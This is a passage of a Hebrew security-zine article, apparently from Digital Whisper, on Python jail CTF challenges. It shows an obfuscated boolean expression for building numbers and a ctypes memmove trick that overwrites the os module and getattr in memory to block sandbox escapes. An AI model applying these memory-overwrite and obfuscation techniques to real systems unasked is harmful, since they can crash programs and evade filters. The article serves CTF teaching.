 :42כך למשל יראה המספר  כעת נוכל לייצר כל מספר בעזרת ביטויים בוליאנים ואופרטורים.

>>> (~(~(~(~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])) 

42 

>>> 

 פייתון שממיר מספרים לייצוג הנ"ל. סקריפטמצורף בסוף המאמר 
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 מרושע Pysandboxהטריק לכותב 

חוסמים לנו פקודות על ידי בדיקת מחרוזות פשוטה שבודקת האם  Pysandboxכמו שראינו עד כה, אתגרי 

-)לדוגמה מחיקת אובייקטים מ המילים החסומות נמצאות בפקודה ששלחנו וכמו כן, על ידי מחיקות שונות

__builtin__.השיטות האלה מאפשרת לפותרים לעקוף את החסימה בצורה קלה ובדרכים מגוונות .) 

"למה בכלל צריך לשנות משהו? הרי כל -"מה כבר אפשר לשנות פה?" ואתם בטח שואלים את עצמכם 

המטרה באתגרים האלה היא שיצליחו לעקוף את החסימות, לא?", ובכן כן ולא. המטרה שלנו היא 

שהפותרים באמת יצליחו לעקוף את החסימות ולפתור את האתגר, אך עם זאת יש הרבה דרכים לפתור 

כים שהן קלות בצורה משמעותית מדרך הפתרון שאנחנו קיווינו שיפתרו אתגרים ויכולות להיות מספר דר

 בעזרתה. אנחנו, בתור כותבי אתגרים מרושעים, רוצים לצמצם את מספר הדרכים האפשריות לפתרון.

כשנחשוב על פתרון לבעיה הזאת נצא מנקודת הנחה שלא משנה כמה חסימות נוסיף, תמיד הפותר יצליח 

 .ctypesומים. בשביל להתעלות על כך נכיר את המודול לקבל גישה לדברים החס

- ctypes מודול מובנה בפייתון המספק התממשקות בין פייתון ל-C דרך .ctypes  נוכל להשתמש בפונקציות

ים. DLL-מבני נתונים, ואף נוכל לעשות שימוש ב, להגדיר בעצמנו Cומבנים מספריות סטנדרטיות של שפת 

 בפייתון. Cבקיצור נוכל להרגיש שאנחנו מתכנתים 

לפני שנציג את הטריק שלנו, נציין ונדגיש שהשימוש בו בצורות מסוימות עלול לגרום לקריסת התכנית, וכן 

כיצד המערכת . בשביל שנוכל להשתמש בטריק הזה בצורה טובה נצטרך להבין יש להשתמש בו בחוכמה

 עובדת. בהמשך גם נבין מה יגרום לקריסה.

. הפונקציה Cשבשפת  memmoveשהיא זהה לפונקציה  memmove הטריק שלנו כולל שימוש בפונקציה

memmove  מעתיקה מספר בתים מסוים מכתובת אחת בזכרון לכתובת אחרת. הפונקציה הנ"ל מקבלת

הבתים, כתובת המקור שממנה נעתיק את הבתים שלושה פרמטרים: כתובת היעד שאליה נעתיק את 

 ומספר הבתים שנעתיק.

בשביל לדעת כמה בתים אנחנו צריכים להעתיק אל האובייקט שאותו אנו רוצים לדרוס על מנת לחסום 

 אותו, נצטרך קודם לברר מה הגודל שלו. ניתן לעשות זאת בשתי דרכים שונות בעזרת הפונקציות:

 sys.getsizeof 

 והמתודה __sizeof__ ב שנמצאת-object 

של האובייקט שאותו אנחנו  id-נוכל להעביר בשני הפרמטרים הראשונים את ה memmove-כשנשתמש ב 

 .רוצים לדרוס ושל האובייקט שממנו אנחנו רוצים להעתיק, בהתאמה

  

https://docs.python.org/2/library/ctypes.html
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 כך שלא תהיה אפשרות להשתמש בו. osבדוגמה הבאה אנחנו נוכל לראות כיצד לדרוס את המודול 

 :os-אשית יש לבדוק כמה בתים יש לדרוס בר

 

 (:int)במקרה הזה  לאחר מכן, נחפש אובייקט עם גודל זהה

 

 :osונדרוס את  ctypesכעת נייבא את 

 

 :בדוגמא הבאה אנחנו כלל לא מגבילים את הפקודות שהפותר מכניס :נראה איך זה עובד באתגר ועכשיו
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( ולכן אנחנו מקבלים שגיאה מתאימה. לאחר 5)שורה  אבל הוא נמחק os-בהתחלה אנחנו מנסים לגשת ל

(, __builtins__-בדרך עקיפה )שמצאנו דרך הסקריפט שמחפש מודולים דרך ה os-מכן אנחנו ניגשים ל

 , בינגו!1337קיבלנו את המספר  osבמצב הזה אנחנו יכולים לראות שבמקום לקבל את המודול 

 א יעזור לפותרים במקרה הזה:ל reloadניתן לראות שאפילו 

 

 

 בשיטה הסכנה

כאשר אנחנו משנים את הערך שנמצא בזיכרון של אובייקט, כל קטע קוד שעושה שימוש באותו אובייקט 

עלול )וכנראה( יקרוס מכיוון שהוא מצפה לעבוד עם אותו אובייקט ולא עם הערך שאיתו דרסנו את 

 האובייקט.

שיכולה להקל מאוד על פותרי האתגרים. מכיוון שאתגרי  getattrבדוגמה הבאה נדרוס את הפונקציה 

pysandbox ולא לוקאלית( נשתמש גם ב רצים על שרת מרוחק(-socket  על מנת להוסיף אפשרות

 להתחבר לאתגר.

 בואו נראה מה קורה כאשר נריץ את התכנית:
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שדרסנו קודם לכן.  getattrנעשה שימוש בפונקציה  socketניתן לראות שבעת היצירה של האובייקט 

" כאל הפונקציה עצמה ולכן נזרקת NO!!!למעשה אנחנו יכולים לראות שהשגיאה מתייחסת למחרוזת "

 שגיאה.

לסיכום, כאשר כותבים אתגר נוכל להשתמש בטריק הזה על מנת להעלות את רמת הקושי שלו, אך עם 

זאת יש להשתמש בו במידה ובחוכמה. בנוסף על כך, רצוי לדעת איך הקוד שאנחנו כותבים עובד מאחורי 

 הקלעים על מנת לצמצם סיכויים לבעיות. 

 

 

 סיכום

, ראינו טכניקות וטיפים שונים שיעזרו לנו Pysandbox / Python Jailבמאמר זה הכרנו את המושג 

להתמודד בעתיד מול אתגרים מהסוג הזה. למדנו על מודולים שונים ועל מה שניתן לעשות איתם. ראינו 

איך בעזרת הגמישות והמימוש המודולרי של פייתון אנחנו יכולים לקבל גישה למגוון רחב של דברים 

המשתמשת  pysanboxנוסף על כך, הכרנו שיטה חדשה לפתירת אתגרי שבהתחלה נראים בלתי נגישים. 

 . בסוף המאמר למדנו טריק חמוד המאפשר לכותבי האתגרים להקשות על הפותרים שלהם.CodeType-ב

 בנימה אישית אנחנו מקווים שלמדתם משהו חדש במסגרת המאמר )אפילו אם הוא מינורי(. אנחנו

 עובדים בפייתון ואף לגלות טריקים ושיטות חדשות.מזמינים אתכם לחקור איך דברים 

 

 את כלל הסקריפטים וקטעי הקוד שצוינו במהלך המאמר ניתן להוריד מהקישור הבא:

http://www.digitalwhisper.co.il/files/Zines/0x64/DW100-AbyssEsc.zip 

 

 על הכותבים

 .noxale, חוקרי אבטחת מידע, וחברים בקבוצה 18(. בני Thankjnv) (, רתם חןJohnE) יונתן ארז

  יונתן ארז- yonatanerez0@gmail.com 

  רתם חן- rotemchen2000@gmail.com 

 

http://www.digitalwhisper.co.il/files/Zines/0x64/DW100-AbyssEsc.zip
https://blog.noxale.com/
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